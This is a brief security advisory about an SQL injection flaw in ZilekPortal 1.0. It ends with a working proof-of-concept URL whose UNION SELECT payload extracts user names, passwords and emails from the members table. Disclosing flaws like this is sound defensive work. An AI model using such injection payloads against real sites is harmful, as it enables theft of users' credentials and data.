source: https://www.securityfocus.com/bid/20062/info
ZilekPortal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
This issue affects version 1.0; other versions may also be vulnerable.
http://www.example.com/haberdetay.asp?id=-1%20union%20select%200,1,uyeadi,sifre,mail,id%20from%20uyeler%20where%20id=1